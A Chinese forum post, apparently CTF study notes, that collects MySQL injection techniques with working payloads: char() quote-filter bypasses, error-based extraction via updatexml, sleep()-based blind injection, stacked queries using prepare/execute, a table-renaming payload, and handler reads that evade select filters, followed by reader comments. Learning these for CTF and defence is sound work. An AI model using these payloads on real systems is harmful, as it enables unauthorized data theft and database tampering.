这一篇主要写一些sql的基础知识,以前刚刚开始学习的时候收集的,在这里分享一下,然后求求各位哥哥给一个赞吧…
Mid(a from b for 1)也是把a的第b个字符截取,和substr差不多
Left(a,b)从左边截取b给长度的字符
Right和Left语法差不多。
Ascii和ord的效果差不多,可以通用
这里可以使用regexp来代替等于号,但是这里需要注意的是regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字,例子是:regexp binary regexp '^a'
注意:regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字。
如果这里过滤了单引号,这里可以利用的技巧是16进制:
如果过滤了单引号,那么就是十六进制或者char来使用,这里提一下用char的方法,就是,char()会直接把内容变成字符,这样可以把0x过滤的情况绕过去。例子:updatexml(1,concat(1, (select group_concat(column_name) from information_schema.columns where TABLE_NAME=char(102,49,52,103))),1)
这里提一下我在CTF中遇到过的万能密码。
这是用等于号导致的万能密码:
这是用5个以内的字符导致万能密码的情况,这种也应该只有CTF才会遇到…
这是用5个以内的字符导致万能密码的情况,这种也应该只有CTF才会遇到…
这是只用减号导致的万能密码
这是异或导致的万能密码
这里是对等于号的使用,字段等于字段,可以万能密码登录,这种用法应该只有CTF才会出现…
select case when
的条件触发:Select case when username=’admin’ then ‘YES’ else ‘NO’’ end from 表名
;(注:这里的’YES’可以换成sleep(5)来完成时间的盲注)and (select case when ascii(substring(select database()) from 1 for 1))<128 then sleep(5) else 1 end) -- hh
Substr(a,b,1)
,但是在过滤了逗号后,可以写成Substring(a from b for 1)
就是把a字符串中的第b个字符截断,好处是可以不用逗号,sub也支持同种语法结构select substring((select user()) from -1)这样可以慢慢的截断,代码例子:insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from -1)='t') then sleep(3) else 0 end))
union select *from((select database())a join (select user())b)-- hh<=>union select *from (database(),user())-- hh
具体操作请做强网杯随便注:
预定义:
预编译相关语法如下:
Set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
具体用法例子:-1';Set @sql=CONCAT('se','lect *from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
堆叠注入还有一种就是直接给表重命名这种:
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
具体操作例子:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后还有一个很骚的是,如果把set这些预定义一定需要的过滤了的操作是:用handler
handler 表名 open as 自己设置的名字如:yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
具体操作见下图
这样select被完全过滤也不怕了…
给位哥哥看我写了这么多,给个赞可好!!!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 100.00 | 0 | 2020-05-27 20:08:10 | 投稿满 10 赞奖励 |
奖励系统 | 50.00 | 0 | 2020-05-06 22:10:57 | 投稿满 5 赞奖励 |
admin | 100.00 | 0 | 2020-05-06 16:04:31 | 投稿奖励 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
恶魔的摆渡
发表于 2020-9-8
select substring((select user()) from -1)这句没看懂,有大佬可以解释一下吗,万分感谢
评论列表
加载数据中...
Track-mss
发表于 2020-5-6
好东西,收藏了
评论列表
加载数据中...
常长老
发表于 2020-5-6
顶一顶
评论列表
加载数据中...
sumor
发表于 2020-5-6
学习了
评论列表
加载数据中...
sumor
发表于 2020-5-6
看见笛卡尔积差点劝退… 学渣的卑微
评论列表
加载数据中...